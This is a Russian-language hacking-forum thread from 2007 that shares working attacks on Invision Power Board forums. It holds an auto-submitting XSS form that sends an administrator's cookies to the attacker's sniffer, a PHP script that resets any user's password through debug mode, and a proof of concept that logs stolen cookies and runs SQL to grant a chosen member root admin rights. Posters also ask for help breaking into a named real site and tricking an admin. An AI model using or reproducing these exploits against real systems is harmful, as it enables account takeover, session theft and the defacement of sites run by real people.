Forum.XakepOK.ORG
ГЛАВНАЯ  |  ФОРУМ  |  НОВОСТИ  |  СТАТЬИ  |  РЕЛИЗЫ  |  E-BOOKS  |  СКАЧАТЬ  |  WEB-TOOLS  |  СНИФФЕР  |  ЮЗЕРБАРЫ  |  О НАС
Баннер CyberHost

Всем пользователям сменены пароли!!! Подробнее здесь


Вернуться   ..::XAKEPOK.ORG::.. ФОРУМ - Лучший форум по сетевой безопасности > Взлом и безопасность > Хакинг > Уязвимости Форумов
Регистрация Доска почета Справка Пользователи Календарь Поиск Сообщения за день Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 15.07.2007, 16:22   #1
новичок
 
Регистрация: 15.07.2007
Сообщений: 26
Репутация: Нездешний (8)
Комментарии к репутации
По умолчанию Invision Power Board v2.1.7

Форум Invision Power Board v2.1.7 тоже не обошёлся без багов в инете появилась инфа что форум страдает XSS.
Лазая по сайтам я нашёл инфу что xss можно осуществить через приватные сообжения(не фильтруется вводимый заголовок) подсунув ядовитый линк админу форума и соснифав у него куки от админки.
Вот сам скрипт который я свалял чтоб тырить куки (надо залить на хостинг).

Цитата:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
</head>
<body onLoad="document.REPLIER.submit();">
<h3>Спасибо, сейчас вы будете перенаправлены</h3> <!-- Сюда можешь вставить любой текст или html код -->
<form action="http://03-06.pp.ru/forum/index.php?act=msg" method="post" name="REPLIER"">
<input type="hidden" name="removeattachid" value="0" />
<input type="hidden" name="entered_name" value="Nick">
<input type="hidden" name="OID" value="" />
<input type="hidden" name="act" value="Msg" />
<input type="hidden" name="CODE" value="04" />
<input type="hidden" name="MODE" value="01" />
<input type="hidden" name="preview" value="Предварительный просмотр">
<input type="hidden" name="msg_title" value='"><script>document.location.href="http://путь до снифера /sniff.php?"+document.cookie;</script>'>
</form>
</body>
</html>
Это можно внедрить на своей домашней страничке ввиде невидемого фрейма и дать линк админу ))
Скрипт был опробован и 100% рабочий. Лучьше совать не линк на скрипт а домашнюю страничку, так админы больше ведуться неожидая подвоха.
__________________
ICQ~ 366-135
ђ Ў®зЁ© бв®« вне форума   Ответить с цитированием
Старый 15.07.2007, 21:28   #2
новичок
 
Аватар для 4yB@K
 
Регистрация: 15.07.2007
Сообщений: 46
Репутация: Нездешний (7)
Комментарии к репутации
Отправить сообщение для 4yB@K с помощью ICQ
По умолчанию

Еще не проверял

Уязвимость позволяет удаленному пользователю произвести XSS нападение.

Уязвимость существует из-за недостаточной обработки изображений PDF файлов, содержащих HTML код. Если создать тему и прикрепить файл pdf а внутри него написать <script>alert()</script> то при открытие файла вылетает алерт... работает на ie
Работает только при установленном acrobat reader <=7


Лечится обновлением


Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit

PHP код:
<?php 
/* 

 Debug Mode password change vulnerability 
 Affects Invision Power Borard 2.0.0 to 2.1.7 
 by Rapigator 
  
 This works if: 

 "Debug Level" is set to 3 
 or 
 Enable SQL Debug Mode is turned on 
  
 In General Configuration of the forum software. 

*/ 

// The forum's address up to and including 'index.php' 
$site "http://localhost/forums/index.php"

// An existing user's login name 
$name "admin"

// The new password(3-32 characters) 
$pass "1234"

// You can use a proxy... 
// $proxy = "1.2.3.4:8080"; 



// ----------------------------- 
$site .= "?"
$suffix ""
$name urlencode($name); 
$pass urlencode($pass); 
$curl curl_init($site.'act=Reg&CODE=10'); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 
} else { 
$suffix "&debug=1"
$curl curl_init($site.'act=Reg&CODE=10'.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 


if (!isset(
$regid) || !isset($regcode)) { 
echo 
"Error: Probably not vulnerable, or no forum found"
exit; 


$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 

if (
preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 


function 
change_pass($regcode,$regid,$vid,$userid) { 
global 
$site$proxy$name$pass
$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
echo 
"Password Changed!"
exit; 

?>
тут должен быть включен curl

4yB@K добавил 15.07.2007 в 20:53
Вот еще
PHP код:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

#   Invision Power Board 2.2.2 Cross Site Scripting vulnerability 

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
#   Vendor site: http://www.invisionboard.com/ 
#   Vulnerability found by Iron (ironwarez.info) 

#   Greets to all **** Security Group members     

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
#   The vulnerability: 
#   Open up any php file in /jscripts/folder_rte_files 
#    See: 

    var editor_id         = <?php print '"'.trim($_REQUEST['editorid']).'";'?> 
     

#   $_REQUEST['editorid'] isn't sanitized in any way, so allows 
#   other uses to execute their own code. 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
#   PoC (Log cookies & run SQL query) 

#   Requirements: server supporting PHP, user account on 
#   target forum, database prefix needs to be known. 

#   Create a file called name.php on your webserver and put this code in it: 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

<?php 
$target 
"http://www.yourtarget.com/forum"#Target forum without trailing slash 
$prefix "ibf_"#Database prefix, default: ibf_ 
$member 22#Member id to promote 
$newgroup 4# The id of the new group to promote, normally 4 is root admin 

$ip $_SERVER['REMOTE_ADDR']; 
$referer $_SERVER['HTTP_REFERER']; 
$agent $_SERVER['HTTP_USER_AGENT']; 

$data $_GET['c']; 
$time date("Y-m-d G:i:s A"); 
$text "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n"

$file fopen('log.txt' 'a'); 
fwrite($file,$text); 
fclose($file); 
if(
preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff)) 

print 
'<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+ 
'
.$prefix.'members+SET 
+mgroup+%3D+%27'
.$newgroup.'%27+WHERE+id+%3D+%27'.  $member.'%27&st="></>'

?> 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
#    Also create a file in the same directory named "log.txt" and chmod it 777 

#    Now, create a file called script.js on your webserver, put this code in it: 

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie; 

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

#    And, last but not least, create a file that combines those two;) 
#    Name it blah.html and put this code in it: 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

<iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></ 
script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe>
__________________
ищу хорошую девочку, которая умеет то же, что и плохая, только ХОРОШО
47-875-876

Последний раз редактировалось 4yB@K, 15.07.2007 в 22:35.
4yB@K вне форума   Ответить с цитированием
Старый 25.07.2007, 21:43   #3
Zig
Гость
 
Сообщений: n/a
Комментарии к репутации
По умолчанию

Может кто хочет попробывать взламать форум этой же версии на сайте www.mama.lt . Буду очень благодарен! :) Нужно их уничтожить.
  Ответить с цитированием
Старый 01.08.2007, 13:46   #4
Aftalick
Гость
 
Сообщений: n/a
Комментарии к репутации
По умолчанию

<input type="hidden" name="msg_title" value='"><script>document.location.href="http://путь до снифера /sniff.php?"+document.cookie;</script>'>
Что это строчка значет, и что такое снифер и с чем его едят?
  Ответить с цитированием
Старый 01.08.2007, 15:48   #5
познающий
 
Аватар для 0o.o0
 
Регистрация: 07.07.2007
Сообщений: 66
Репутация: Нездешний (5)
Комментарии к репутации
Отправить сообщение для 0o.o0 с помощью ICQ
По умолчанию

Почитай здесь
http://kanick.ru/sniffer/
0o.o0 вне форума   Ответить с цитированием
Старый 01.08.2007, 18:29   #6
новичок
 
Аватар для 4yB@K
 
Регистрация: 15.07.2007
Сообщений: 46
Репутация: Нездешний (7)
Комментарии к репутации
Отправить сообщение для 4yB@K с помощью ICQ
По умолчанию

Цитата:
Сообщение от Aftalick Посмотреть сообщение
<input type="hidden" name="msg_title" value='"><script>document.location.href="http://путь до снифера /sniff.php?"+document.cookie;</script>'>
Что это строчка значет, и что такое снифер и с чем его едят?
Сниффер - это такая штука, которая записывает произвольнае данные, переданные браузером.
На этом сайте сниффер не работает, посмотри на моем.
__________________
ищу хорошую девочку, которая умеет то же, что и плохая, только ХОРОШО
47-875-876
4yB@K вне форума   Ответить с цитированием
Старый 01.08.2007, 20:34   #7
Aftalick
Гость
 
Сообщений: n/a
Комментарии к репутации
По умолчанию

Ок, спасибо я только учусь, везде не трудно преуспеть....
Можно услышать объяснение строки:
<form action="http://03-06.pp.ru/forum/index.php?act=msg" method="post" name="REPLIER"">
  Ответить с цитированием
Старый 01.08.2007, 20:42   #8
новичок
 
Аватар для 4yB@K
 
Регистрация: 15.07.2007
Сообщений: 46
Репутация: Нездешний (7)
Комментарии к репутации
Отправить сообщение для 4yB@K с помощью ICQ
По умолчанию

Хм, помоему тут введенные данные отправляются скрипту
http://03-06.pp.ru/forum/index.php?act=msg
методом POST
__________________
ищу хорошую девочку, которая умеет то же, что и плохая, только ХОРОШО
47-875-876
4yB@K вне форума   Ответить с цитированием
Старый 01.08.2007, 20:49   #9
Aftalick
Гость
 
Сообщений: n/a
Комментарии к репутации
По умолчанию

Хм, глянь страничку пож, посмотри и посоветуй если можно.... как оформить код на странице, и какая команда по замене 03-06.pp.ru/forum/index.php?act=msg
Хочузлобно подшутить над одним админишкой :)
  Ответить с цитированием
Старый 01.08.2007, 21:01   #10
новичок
 
Аватар для 4yB@K
 
Регистрация: 15.07.2007
Сообщений: 46
Репутация: Нездешний (7)
Комментарии к репутации
Отправить сообщение для 4yB@K с помощью ICQ
По умолчанию

Это хостинг Юкоз, так-что ничего тут не получится
__________________
ищу хорошую девочку, которая умеет то же, что и плохая, только ХОРОШО
47-875-876
4yB@K вне форума   Ответить с цитированием
Ответ


Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Выкл.
Pingbacks are Выкл.
Refbacks are Выкл.
Быстрый переход


Часовой пояс GMT +4, время: 22:52.


Перевод: zCarot